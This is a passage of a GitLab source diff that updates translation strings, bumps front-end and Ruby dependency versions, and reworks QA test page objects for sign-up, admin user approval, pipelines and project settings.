msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31129,13 +31841,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31301,6 +32010,12 @@ msgstr[0] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31319,9 +32034,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31466,6 +32172,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31491,6 +32200,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31512,7 +32224,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32066,6 +32781,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32078,6 +32796,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32215,9 +32942,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32266,9 +32999,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32299,10 +33029,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32311,6 +33041,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32320,6 +33053,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32392,6 +33128,10 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/package.json b/package.json
index cc1f4eb1bc8..14c3fd8533e 100644
--- a/package.json
+++ b/package.json
@@ -30,7 +30,6 @@
"stylelint": "yarn stylelint-file 'app/assets/stylesheets/**/*.*' 'ee/app/assets/stylesheets/**/*.*' '!app/assets/stylesheets/startup/startup-*.scss' '!**/vendors/**'",
"stylelint-file": "BROWSERSLIST_IGNORE_OLD_DATA=true node node_modules/stylelint/bin/stylelint.js",
"stylelint-create-utility-map": "node scripts/frontend/stylelint/stylelint-utility-map.js",
- "test": "node scripts/frontend/test",
"webpack": "NODE_OPTIONS=\"--max-old-space-size=3584\" webpack --config config/webpack.config.js",
"webpack-vendor": "NODE_OPTIONS=\"--max-old-space-size=3584\" webpack --config config/webpack.vendor.config.js",
"webpack-prod": "NODE_OPTIONS=\"--max-old-space-size=3584\" NODE_ENV=production webpack --config config/webpack.config.js"
@@ -43,14 +42,15 @@
"@babel/plugin-syntax-import-meta": "^7.10.1",
"@babel/preset-env": "^7.10.1",
"@gitlab/at.js": "1.5.5",
- "@gitlab/svgs": "1.175.0",
- "@gitlab/ui": "23.9.0",
+ "@gitlab/svgs": "1.177.0",
+ "@gitlab/tributejs": "1.0.0",
+ "@gitlab/ui": "24.8.1",
"@gitlab/visual-review-tools": "1.6.1",
"@rails/actioncable": "^6.0.3-3",
"@rails/ujs": "^6.0.3-2",
"@sourcegraph/code-host-integration": "0.0.52",
- "@toast-ui/editor": "^2.5.0",
- "@toast-ui/vue-editor": "^2.5.0",
+ "@toast-ui/editor": "^2.5.1",
+ "@toast-ui/vue-editor": "^2.5.1",
"apollo-cache-inmemory": "^1.6.6",
"apollo-client": "^2.6.10",
"apollo-link": "^1.2.14",
@@ -81,7 +81,7 @@
"deckar01-task_list": "^2.3.1",
"diff": "^3.4.0",
"document-register-element": "1.14.3",
- "dompurify": "^2.2.2",
+ "dompurify": "^2.2.4",
"dropzone": "^4.2.0",
"editorconfig": "^0.15.3",
"emoji-regex": "^7.0.3",
@@ -112,7 +112,7 @@
"mersenne-twister": "1.1.0",
"minimatch": "^3.0.4",
"miragejs": "^0.1.40",
- "mock-apollo-client": "^0.4.0",
+ "mock-apollo-client": "^0.5.0",
"monaco-editor": "^0.20.0",
"monaco-editor-webpack-plugin": "^1.9.0",
"monaco-yaml": "^2.5.1",
@@ -140,18 +140,17 @@
"tiptap": "^1.8.0",
"tiptap-commands": "^1.4.0",
"tiptap-extensions": "^1.8.0",
- "tributejs": "5.1.3",
"url-loader": "^3.0.0",
"uuid": "8.1.0",
"visibilityjs": "^1.2.4",
"vue": "^2.6.12",
"vue-apollo": "^3.0.3",
- "vue-loader": "^15.9.3",
- "vue-router": "3.4.5",
+ "vue-loader": "^15.9.5",
+ "vue-router": "3.4.9",
"vue-template-compiler": "^2.6.12",
"vue-virtual-scroll-list": "^1.4.4",
"vuedraggable": "^2.23.0",
- "vuex": "^3.5.1",
+ "vuex": "^3.6.0",
"web-vitals": "^0.2.4",
"webpack": "^4.42.0",
"webpack-bundle-analyzer": "^3.6.0",
@@ -191,6 +190,7 @@
"jest-canvas-mock": "^2.1.2",
"jest-environment-jsdom": "^26.5.2",
"jest-junit": "^12.0.0",
+ "jest-raw-loader": "^1.0.1",
"jest-util": "^26.5.2",
"jsdoc": "^3.5.5",
"jsdoc-vue": "^1.0.0",
diff --git a/qa/.gitignore b/qa/.gitignore
index 7bc4effd8a8..2095d5c722c 100644
--- a/qa/.gitignore
+++ b/qa/.gitignore
@@ -1,4 +1,5 @@
tmp/
.ruby-version
+.tool-versions
.ruby-gemset
urls.yml
diff --git a/qa/Gemfile.lock b/qa/Gemfile.lock
index 883c5480689..3ad9b4fed9e 100644
--- a/qa/Gemfile.lock
+++ b/qa/Gemfile.lock
@@ -39,9 +39,6 @@ GEM
adamantium (~> 0.2.0)
equalizer (~> 0.0.9)
concurrent-ruby (1.1.7)
- debase (0.2.4.1)
- debase-ruby_core_source (>= 0.10.2)
- debase-ruby_core_source (0.10.6)
diff-lcs (1.3)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
@@ -88,7 +85,7 @@ GEM
byebug (~> 9.1)
pry (~> 0.10)
public_suffix (4.0.1)
- rack (2.2.2)
+ rack (2.2.3)
rack-test (1.1.0)
rack (>= 1.0, < 3)
rake (12.3.3)
@@ -155,7 +152,6 @@ DEPENDENCIES
airborne (~> 0.3.4)
capybara (~> 3.29.0)
capybara-screenshot (~> 1.0.23)
- debase (~> 0.2.4.1)
faker (~> 1.6, >= 1.6.6)
gitlab-qa
knapsack (~> 1.17)
diff --git a/qa/Rakefile b/qa/Rakefile
index 1ecce8fdce9..6bafec2a67d 100644
--- a/qa/Rakefile
+++ b/qa/Rakefile
@@ -3,6 +3,7 @@ require_relative 'qa/tools/delete_subgroups'
require_relative 'qa/tools/generate_perf_testdata'
require_relative 'qa/tools/delete_test_ssh_keys'
require_relative 'qa/tools/initialize_gitlab_auth'
+require_relative 'qa/tools/delete_projects'
desc "Revokes all personal access tokens"
task :revoke_personal_access_tokens do
@@ -51,3 +52,8 @@ desc "Deletes test ssh keys a user"
task :delete_test_ssh_keys, [:title_portion, :delete_before, :dry_run] do |t, args|
QA::Tools::DeleteTestSSHKeys.new(args).run
end
+
+desc "Deletes projects directly under the provided group"
+task :delete_projects do
+ QA::Tools::DeleteProjects.new.run
+end
diff --git a/qa/qa.rb b/qa/qa.rb
index ee7f97e64b1..b30497d88e1 100644
--- a/qa/qa.rb
+++ b/qa/qa.rb
@@ -20,6 +20,7 @@ module QA
autoload :User, 'qa/flow/user'
autoload :MergeRequest, 'qa/flow/merge_request'
autoload :Pipeline, 'qa/flow/pipeline'
+ autoload :SignUp, 'qa/flow/sign_up'
end
##
@@ -181,10 +182,14 @@ module QA
autoload :Menu, 'qa/page/main/menu'
autoload :OAuth, 'qa/page/main/oauth'
autoload :TwoFactorAuth, 'qa/page/main/two_factor_auth'
- autoload :SignUp, 'qa/page/main/sign_up'
autoload :Terms, 'qa/page/main/terms'
end
+ module Registration
+ autoload :SignUp, 'qa/page/registration/sign_up'
+ autoload :Welcome, 'qa/page/registration/welcome'
+ end
+
module Settings
autoload :Common, 'qa/page/settings/common'
end
@@ -302,14 +307,12 @@ module QA
module Services
autoload :Jira, 'qa/page/project/settings/services/jira'
+ autoload :Jenkins, 'qa/page/project/settings/services/jenkins'
+ autoload :Prometheus, 'qa/page/project/settings/services/prometheus'
end
autoload :Operations, 'qa/page/project/settings/operations'
autoload :Incidents, 'qa/page/project/settings/incidents'
autoload :Integrations, 'qa/page/project/settings/integrations'
-
- module Services
- autoload :Prometheus, 'qa/page/project/settings/services/prometheus'
- end
end
module SubMenus
@@ -431,6 +434,7 @@ module QA
autoload :OutboundRequests, 'qa/page/admin/settings/component/outbound_requests'
autoload :AccountAndLimit, 'qa/page/admin/settings/component/account_and_limit'
autoload :PerformanceBar, 'qa/page/admin/settings/component/performance_bar'
+ autoload :SignUpRestrictions, 'qa/page/admin/settings/component/sign_up_restrictions'
end
end
diff --git a/qa/qa/fixtures/auto_devops_rack/Gemfile.lock b/qa/qa/fixtures/auto_devops_rack/Gemfile.lock
index 9c7c93fb553..04a85be4b2f 100644
--- a/qa/qa/fixtures/auto_devops_rack/Gemfile.lock
+++ b/qa/qa/fixtures/auto_devops_rack/Gemfile.lock
@@ -1,7 +1,7 @@
GEM
remote: https://rubygems.org/
specs:
- rack (2.0.6)
+ rack (2.2.3)
rake (12.3.3)
PLATFORMS
diff --git a/qa/qa/flow/pipeline.rb b/qa/qa/flow/pipeline.rb
index ff23907c081..999f352e834 100644
--- a/qa/qa/flow/pipeline.rb
+++ b/qa/qa/flow/pipeline.rb
@@ -6,12 +6,17 @@ module QA
module_function
# In some cases we don't need to wait for anything, blocked, running or pending is acceptable
- # Some cases only need pipeline to finish with different condition (completion, success or replication)
+ # Some cases only we do need pipeline to finish with expected condition (completed, succeeded or replicated)
def visit_latest_pipeline(pipeline_condition: nil)
Page::Project::Menu.perform(&:click_ci_cd_pipelines)
Page::Project::Pipeline::Index.perform(&:"wait_for_latest_pipeline_#{pipeline_condition}") if pipeline_condition
Page::Project::Pipeline::Index.perform(&:click_on_latest_pipeline)
end
+
+ def wait_for_latest_pipeline(pipeline_condition:)
+ Page::Project::Menu.perform(&:click_ci_cd_pipelines)
+ Page::Project::Pipeline::Index.perform(&:"wait_for_latest_pipeline_#{pipeline_condition}")
+ end
end
end
end
diff --git a/qa/qa/flow/sign_up.rb b/qa/qa/flow/sign_up.rb
new file mode 100644
index 00000000000..c790a82d904
--- /dev/null
+++ b/qa/qa/flow/sign_up.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module QA
+ module Flow
+ module SignUp
+ module_function
+
+ def sign_up!(user)
+ Page::Main::Login.perform(&:switch_to_register_page)
+
+ success = Support::Retrier.retry_until(raise_on_failure: false) do
+ Page::Registration::SignUp.perform do |sign_up|
+ sign_up.fill_new_user_first_name_field(user.first_name)
+ sign_up.fill_new_user_last_name_field(user.last_name)
+ sign_up.fill_new_user_username_field(user.username)
+ sign_up.fill_new_user_email_field(user.email)
+ sign_up.fill_new_user_password_field(user.password)
+
+ # Because invisible_captcha would prevent submitting this form
+ # within 4 seconds, sleep here. This can be removed once we
+ # implement invisible_captcha as an application setting instead
+ # of a feature flag, so we can turn it off while testing.
+ # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/284113
+ sleep 5
+
+ sign_up.click_new_user_register_button
+ end
+
+ Page::Registration::Welcome.perform(&:click_get_started_button_if_available)
+
+ if user.expect_fabrication_success
+ Page::Main::Menu.perform(&:has_personal_area?)
+ else
+ Page::Main::Menu.perform(&:not_signed_in?)
+ end
+ end
+
+ raise "Failed to register the user" unless success
+ end
+ end
+ end
+end
diff --git a/qa/qa/git/repository.rb b/qa/qa/git/repository.rb
index 0f7e4fbbc97..24a148e9330 100644
--- a/qa/qa/git/repository.rb
+++ b/qa/qa/git/repository.rb
@@ -14,7 +14,7 @@ module QA
include Support::Run
attr_writer :use_lfs, :gpg_key_id
- attr_accessor :env_vars
+ attr_accessor :env_vars, :default_branch
InvalidCredentialsError = Class.new(RuntimeError)
@@ -25,6 +25,7 @@ module QA
self.env_vars = [%Q{HOME="#{tmp_home_dir}"}]
@use_lfs = false
@gpg_key_id = nil
+ @default_branch = Runtime::Env.default_branch
end
def self.perform(*args)
@@ -123,7 +124,7 @@ module QA
run_git("git rev-parse --abbrev-ref HEAD").to_s
end
- def push_changes(branch = 'master', push_options: nil)
+ def push_changes(branch = @default_branch, push_options: nil)
cmd = ['git push']
cmd << push_options_hash_to_string(push_options)
cmd << uri
@@ -209,6 +210,13 @@ module QA
File.delete(netrc_file_path) if File.exist?(netrc_file_path)
end
+ def remote_branches
+ # This gets the remote branch names
+ # When executed on a fresh repo it returns the default branch name
+
+ run_git('git --no-pager branch --list --remotes --format="%(refname:lstrip=3)"').to_s.split("\n")
+ end
+
private
attr_reader :uri, :username, :password, :ssh, :use_lfs
diff --git a/qa/qa/page/admin/overview/users/index.rb b/qa/qa/page/admin/overview/users/index.rb
index e374c1bf281..fea95fdb84a 100644
--- a/qa/qa/page/admin/overview/users/index.rb
+++ b/qa/qa/page/admin/overview/users/index.rb
@@ -8,6 +8,7 @@ module QA
class Index < QA::Page::Base
view 'app/views/admin/users/index.html.haml' do
element :user_search_field
+ element :pending_approval_tab
end
view 'app/views/admin/users/_user.html.haml' do
@@ -22,6 +23,10 @@ module QA
find_element(:user_search_field).set(username).send_keys(:return)
end
+ def click_pending_approval_tab
+ click_element :pending_approval_tab
+ end
+
def click_user(username)
within_element(:user_row_content, text: username) do
click_element(:username_link)
diff --git a/qa/qa/page/admin/overview/users/show.rb b/qa/qa/page/admin/overview/users/show.rb
index f15ef0492fc..f455bd31d14 100644
--- a/qa/qa/page/admin/overview/users/show.rb
+++ b/qa/qa/page/admin/overview/users/show.rb
@@ -12,17 +12,32 @@ module QA
view 'app/views/admin/users/show.html.haml' do
element :confirm_user_button
+ element :user_id_content
+ end
+
+ view 'app/views/admin/users/_approve_user.html.haml' do
+ element :approve_user_button
end
def click_impersonate_user
click_element(:impersonate_user_link)
end
+ def user_id
+ find_element(:user_id_content).text
+ end
+
def confirm_user
accept_confirm do
click_element :confirm_user_button
end
end
+
+ def approve_user
+ accept_confirm do
+ click_element :approve_user_button
+ end
+ end
end
end
end
diff --git a/qa/qa/page/admin/settings/component/sign_up_restrictions.rb b/qa/qa/page/admin/settings/component/sign_up_restrictions.rb
new file mode 100644
index 00000000000..8c5b4bf506b
--- /dev/null
+++ b/qa/qa/page/admin/settings/component/sign_up_restrictions.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Admin
+ module Settings
+ module Component
+ class SignUpRestrictions < Page::Base
+ view 'app/views/admin/application_settings/_signup.html.haml' do
+ element :require_admin_approval_after_user_signup_checkbox
+ element :save_changes_button
+ end
+
+ def require_admin_approval_after_user_signup
+ check_element :require_admin_approval_after_user_signup_checkbox
+ click_element :save_changes_button
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/admin/settings/general.rb b/qa/qa/page/admin/settings/general.rb
index 7e35902a778..a2457dded7c 100644
--- a/qa/qa/page/admin/settings/general.rb
+++ b/qa/qa/page/admin/settings/general.rb
@@ -9,6 +9,7 @@ module QA
view 'app/views/admin/application_settings/general.html.haml' do
element :account_and_limit_settings_content
+ element :sign_up_restrictions_settings_content
end
def expand_account_and_limit(&block)
@@ -16,6 +17,12 @@ module QA
Component::AccountAndLimit.perform(&block)
end
end
+
+ def expand_sign_up_restrictions(&block)
+ expand_content(:sign_up_restrictions_settings_content) do
+ Component::SignUpRestrictions.perform(&block)
+ end
+ end
end
end
end
diff --git a/qa/qa/page/base.rb b/qa/qa/page/base.rb
index ce4eac7fbc4..00b48dc7fe9 100644
--- a/qa/qa/page/base.rb
+++ b/qa/qa/page/base.rb
@@ -228,7 +228,7 @@ module QA
def finished_loading_block?
wait_for_requests
- has_no_css?('.fa-spinner.block-loading', wait: Capybara.default_max_wait_time)
+ has_no_css?('.gl-spinner', wait: Capybara.default_max_wait_time)
end
def has_loaded_all_images?
diff --git a/qa/qa/page/component/design_management.rb b/qa/qa/page/component/design_management.rb
index cccf1cf1a58..1f5620e30c7 100644
--- a/qa/qa/page/component/design_management.rb
+++ b/qa/qa/page/component/design_management.rb
@@ -108,6 +108,10 @@ module QA
has_element?(:design_file_name, text: filename)
end
+ def has_no_design?(filename)
+ has_no_element?(:design_file_name, text: filename)
+ end
+
def has_created_icon?
has_element?(:design_status_icon, status: 'file-addition-solid')
end
diff --git a/qa/qa/page/component/issuable/sidebar.rb b/qa/qa/page/component/issuable/sidebar.rb
index cc39260ce38..03c0811645f 100644
--- a/qa/qa/page/component/issuable/sidebar.rb
+++ b/qa/qa/page/component/issuable/sidebar.rb
@@ -69,7 +69,7 @@ module QA
end
end
- def has_no_assignee_named?(username)
+ def has_no_assignee?(username)
within_element(:assignee_block) do
has_no_text?(username, wait: 120)
end
diff --git a/qa/qa/page/component/legacy_clone_panel.rb b/qa/qa/page/component/legacy_clone_panel.rb
index ebab9fd708c..f15d159a712 100644
--- a/qa/qa/page/component/legacy_clone_panel.rb
+++ b/qa/qa/page/component/legacy_clone_panel.rb
@@ -12,7 +12,7 @@ module QA
base.view 'app/views/shared/_clone_panel.html.haml' do
element :clone_dropdown
element :clone_options_dropdown, '.clone-options-dropdown' # rubocop:disable QA/ElementWithPattern
- element :project_repository_location, 'text_field_tag :project_clone' # rubocop:disable QA/ElementWithPattern
+ element :clone_url, 'text_field_tag :clone_url' # rubocop:disable QA/ElementWithPattern
end
end
@@ -28,7 +28,7 @@ module QA
end
def repository_location
- Git::Location.new(find('#project_clone').value)
+ Git::Location.new(find('#clone_url').value)
end
private
diff --git a/qa/qa/page/component/note.rb b/qa/qa/page/component/note.rb
index 5ac72d73c78..0454042289b 100644
--- a/qa/qa/page/component/note.rb
+++ b/qa/qa/page/component/note.rb
@@ -122,13 +122,17 @@ module QA
def select_all_activities_filter
select_filter_with_text('Show all activity')
+
+ wait_until do
+ has_no_element?(:discussion_filter_container) && has_element?(:comment_field)
+ end
end
def select_comments_only_filter
select_filter_with_text('Show comments only')
wait_until do
- has_no_element?(:system_note_content)
+ has_no_element?(:discussion_filter_container) && has_no_element?(:system_note_content)
end
end
@@ -145,6 +149,8 @@ module QA
click_element :note_dropdown
click_element :discussion_menu_item
click_element :comment_button
+
+ has_comment?(text)
end
def toggle_comments(position)
diff --git a/qa/qa/page/file/show.rb b/qa/qa/page/file/show.rb
index 665b3c34dcc..28b6b3be154 100644
--- a/qa/qa/page/file/show.rb
+++ b/qa/qa/page/file/show.rb
@@ -46,8 +46,16 @@ module QA
has_no_element?(:file_name_content, text: name)
end
- def has_file_content?(text)
- has_element?(:file_content, text: text)
+ def has_file_content?(file_content, file_number = nil)
+ if file_number
+ within_element_by_index(:file_content, file_number - 1) do
+ has_text?(file_content)
+ end
+ else
+ within_element(:file_content) do
+ has_text?(file_content)
+ end
+ end
end
end
end
diff --git a/qa/qa/page/group/members.rb b/qa/qa/page/group/members.rb
index 16e447a2be5..87423ae9d75 100644
--- a/qa/qa/page/group/members.rb
+++ b/qa/qa/page/group/members.rb
@@ -22,12 +22,12 @@ module QA
element :group_row
end
- view 'app/assets/javascripts/vue_shared/components/members/table/role_dropdown.vue' do
+ view 'app/assets/javascripts/members/components/table/role_dropdown.vue' do
element :access_level_dropdown
element :access_level_link
end
- view 'app/assets/javascripts/vue_shared/components/members/action_buttons/remove_member_button.vue' do
+ view 'app/assets/javascripts/members/components/action_buttons/remove_member_button.vue' do
element :delete_member_button
end
diff --git a/qa/qa/page/group/new.rb b/qa/qa/page/group/new.rb
index 88e7121dbe0..5f43cfb49c0 100644
--- a/qa/qa/page/group/new.rb
+++ b/qa/qa/page/group/new.rb
@@ -7,7 +7,6 @@ module QA
view 'app/views/shared/_group_form.html.haml' do
element :group_path_field, 'text_field :path' # rubocop:disable QA/ElementWithPattern
element :group_name_field, 'text_field :name' # rubocop:disable QA/ElementWithPattern
- element :group_description_field, 'text_area :description' # rubocop:disable QA/ElementWithPattern
end
view 'app/views/groups/_new_group_fields.html.haml' do
@@ -20,10 +19,6 @@ module QA
fill_in 'group_name', with: path
end
- def set_description(description)
- fill_in 'group_description', with: description
- end
-
def set_visibility(visibility)
choose visibility
end
diff --git a/qa/qa/page/main/menu.rb b/qa/qa/page/main/menu.rb
index 9c63ddee890..627809dacf2 100644
--- a/qa/qa/page/main/menu.rb
+++ b/qa/qa/page/main/menu.rb
@@ -93,6 +93,10 @@ module QA
has_personal_area?(wait: 0)
end
+ def not_signed_in?
+ has_no_personal_area?
+ end
+
def sign_out
retry_until do
wait_if_retry_later
@@ -129,6 +133,10 @@ module QA
has_element?(:user_avatar, wait: wait)
end
+ def has_no_personal_area?(wait: Capybara.default_max_wait_time)
+ has_no_element?(:user_avatar, wait: wait)
+ end
+
def has_admin_area_link?(wait: Capybara.default_max_wait_time)
has_element?(:admin_area_link, wait: wait)
end
diff --git a/qa/qa/page/main/sign_up.rb b/qa/qa/page/main/sign_up.rb
deleted file mode 100644
index f8e85798012..00000000000
--- a/qa/qa/page/main/sign_up.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Main
- class SignUp < Page::Base
- view 'app/views/devise/shared/_signup_box.html.haml' do
- element :new_user_first_name_field
- element :new_user_last_name_field
- element :new_user_username_field
- element :new_user_email_field
- element :new_user_password_field
- element :new_user_register_button
- end
-
- view 'app/views/registrations/welcome/show.html.haml' do
- element :get_started_button
- end
-
- def sign_up!(user)
- signed_in = retry_until(raise_on_failure: false) do
- fill_element :new_user_first_name_field, user.first_name
- fill_element :new_user_last_name_field, user.last_name
- fill_element :new_user_username_field, user.username
- fill_element :new_user_email_field, user.email
- fill_element :new_user_password_field, user.password
- click_element :new_user_register_button if has_element?(:new_user_register_button)
- click_element :get_started_button if has_element?(:get_started_button)
-
- Page::Main::Menu.perform(&:has_personal_area?)
- end
-
- raise "Failed to register and sign in" unless signed_in
- end
- end
- end
- end
-end
-
-QA::Page::Main::SignUp.prepend_if_ee('QA::EE::Page::Main::SignUp')
diff --git a/qa/qa/page/profile/two_factor_auth.rb b/qa/qa/page/profile/two_factor_auth.rb
index 6794825769a..a0dd230d8ab 100644
--- a/qa/qa/page/profile/two_factor_auth.rb
+++ b/qa/qa/page/profile/two_factor_auth.rb
@@ -14,8 +14,9 @@ module QA
element :register_2fa_app_button
end
- view 'app/views/profiles/two_factor_auths/_codes.html.haml' do
+ view 'app/assets/javascripts/authentication/two_factor_auth/components/recovery_codes.vue' do
element :proceed_button
+ element :copy_button
element :codes_content
element :code_content
end
@@ -43,7 +44,8 @@ module QA
code_elements.map { |code_content| code_content.text }
end
- def click_proceed_button
+ def click_copy_and_proceed
+ click_element :copy_button
click_element :proceed_button
end
end
diff --git a/qa/qa/page/project/fork/new.rb b/qa/qa/page/project/fork/new.rb
index e2f2e9330dd..bbdd4748f5c 100644
--- a/qa/qa/page/project/fork/new.rb
+++ b/qa/qa/page/project/fork/new.rb
@@ -9,9 +9,17 @@ module QA
element :fork_namespace_button
end
+ view 'app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue' do
+ element :fork_groups_list_search_field
+ end
+
def choose_namespace(namespace = Runtime::Namespace.path)
click_element(:fork_namespace_button, name: namespace)
end
+
+ def search_for_group(group_name)
+ find_element(:fork_groups_list_search_field).set(group_name)
+ end
end
end
end
diff --git a/qa/qa/page/project/import/github.rb b/qa/qa/page/project/import/github.rb
index ad1746258ea..6890c7de9f8 100644
--- a/qa/qa/page/project/import/github.rb
+++ b/qa/qa/page/project/import/github.rb
@@ -12,7 +12,7 @@ module QA
element :authenticate_button
end
- view 'app/assets/javascripts/import_projects/components/provider_repo_table_row.vue' do
+ view 'app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue' do
element :project_import_row
element :project_namespace_select
element :project_path_field
diff --git a/qa/qa/page/project/issue/index.rb b/qa/qa/page/project/issue/index.rb
index 64bd62c2b54..e85d10e4eb8 100644
--- a/qa/qa/page/project/issue/index.rb
+++ b/qa/qa/page/project/issue/index.rb
@@ -79,6 +79,10 @@ module QA
def has_issue?(issue)
has_element? :issue_container, issue_title: issue.title
end
+
+ def has_no_issue?(issue)
+ has_no_element? :issue_container, issue_title: issue.title
+ end
end
end
end
diff --git a/qa/qa/page/project/issue/show.rb b/qa/qa/page/project/issue/show.rb
index f7bd74d1882..db2f5f9b3dc 100644
--- a/qa/qa/page/project/issue/show.rb
+++ b/qa/qa/page/project/issue/show.rb
@@ -14,7 +14,7 @@ module QA
element :remove_related_issue_button
end
- view 'app/views/shared/issuable/_close_reopen_button.html.haml' do
+ view 'app/assets/javascripts/issue_show/components/header_actions.vue' do
element :close_issue_button
element :reopen_issue_button
end
diff --git a/qa/qa/page/project/operations/metrics/show.rb b/qa/qa/page/project/operations/metrics/show.rb
index 35dfd92f119..6e8a52ab2e6 100644
--- a/qa/qa/page/project/operations/metrics/show.rb
+++ b/qa/qa/page/project/operations/metrics/show.rb
@@ -70,7 +70,7 @@ module QA
end
end
- def duplicate_dashboard(save_as = 'test_duplication.yml', commit_option = 'Commit to master branch')
+ def duplicate_dashboard(save_as = 'test_duplication.yml', commit_option = 'Commit to default branch')
click_element :actions_menu_dropdown
click_on 'Duplicate current dashboard'
fill_element :duplicate_dashboard_filename_field, "#{SecureRandom.hex(8)}-#{save_as}"
diff --git a/qa/qa/page/project/pipeline/index.rb b/qa/qa/page/project/pipeline/index.rb
index aff2378330a..0f5a7e8c801 100644
--- a/qa/qa/page/project/pipeline/index.rb
+++ b/qa/qa/page/project/pipeline/index.rb
@@ -22,15 +22,17 @@ module QA
all_elements(:pipeline_url_link, minimum: 1, wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME).first.click
end
- def wait_for_latest_pipeline_success
+ def wait_for_latest_pipeline_succeeded
wait_for_latest_pipeline_status { has_text?('passed') }
end
- def wait_for_latest_pipeline_completion
+ def wait_for_latest_pipeline_completed
wait_for_latest_pipeline_status { has_text?('passed') || has_text?('failed') }
end
def wait_for_latest_pipeline_status
+ wait_until(max_duration: 30, reload: true, sleep_interval: 5) { has_pipeline? }
+
wait_until(reload: false, max_duration: 360) do
within_element_by_index(:pipeline_commit_status, 0) { yield }
end
@@ -49,6 +51,10 @@ module QA
has_element? :pipeline_url_link
end
+ def has_no_pipeline?
+ has_no_element? :pipeline_url_link
+ end
+
def click_run_pipeline_button
click_element :run_pipeline_button, Page::Project::Pipeline::New
end
diff --git a/qa/qa/page/project/pipeline/show.rb b/qa/qa/page/project/pipeline/show.rb
index b32d099d2b0..7f96b896c1d 100644
--- a/qa/qa/page/project/pipeline/show.rb
+++ b/qa/qa/page/project/pipeline/show.rb
@@ -72,6 +72,10 @@ module QA
has_element? :child_pipeline
end
+ def has_no_child_pipeline?
+ has_no_element? :child_pipeline
+ end
+
def click_job(job_name)
click_element(:job_link, text: job_name)
end
diff --git a/qa/qa/page/project/settings/integrations.rb b/qa/qa/page/project/settings/integrations.rb
index e18ff71bcb3..dd676c86486 100644
--- a/qa/qa/page/project/settings/integrations.rb
+++ b/qa/qa/page/project/settings/integrations.rb
@@ -6,8 +6,8 @@ module QA
module Settings
class Integrations < QA::Page::Base
